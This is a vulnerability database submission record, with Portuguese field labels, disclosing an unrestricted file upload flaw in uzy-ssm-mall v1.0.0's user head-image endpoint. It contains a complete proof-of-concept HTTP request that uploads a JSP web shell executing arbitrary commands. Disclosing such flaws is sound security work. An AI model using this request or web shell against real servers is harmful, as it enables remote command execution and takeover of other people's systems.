| Título | ghostxbh uzy-ssm-mall v1.0.0 Unrestricted Upload |
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| Descrição | Vulnerability Description
In the uzy-ssm-mall v1.0.0 system, the /mall/user/uploadUserHeadImage interface has an arbitrary file upload vulnerability. Attackers can exploit this vulnerability to upload malicious files, thereby gaining server privileges.
Vulnerability Location
The vulnerability is located at the /mall/user/uploadUserHeadImage interface.
Code Audit Process
Vulnerability File Path / File Name: /mall/user/uploadUserHeadImage
Cause of the Vulnerability: The code does not perform any validation on the uploaded files, allowing attackers to upload arbitrary files. Additionally, the system returns the filename of the uploaded file, which provides further convenience for attackers to exploit.
Code Analysis:
The code calls getUserId in multiple places to obtain the user's userid and uses userid for related CRUD operations.
appid and mailid can be forged through enumeration, further increasing the exploitability of the vulnerability.
POC:
POST /mall/user/uploadUserHeadImage HTTP/1.1
Host: target-ip
Cookie: [users'Cookie]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 12345
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.jsp"
Content-Type: application/octet-stream
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
Process process = Runtime.getRuntime().exec(cmd);
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = reader.readLine()) != null) {
out.println(line);
}
%>
------WebKitFormBoundary7MA4YWxkTrZu0gW-- |
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| Fonte | ⚠️ https://wiki.shikangsi.com/post/share/2f5fafb5-63d3-4784-8866-5592547a71a4 |
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| Utilizador | XingYue_Mstir (UID 72225) |
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| Submissão | 02/04/2025 11h54 (há 1 Ano) |
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| Moderação | 14/04/2025 00h36 (12 days later) |
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| Estado | Aceite |
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| Entrada VulDB | 304599 [ghostxbh uzy-ssm-mall 1.0.0 uploadUserHeadImage Ficheiro Elevação de Privilégios] |
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| Pontos | 20 |
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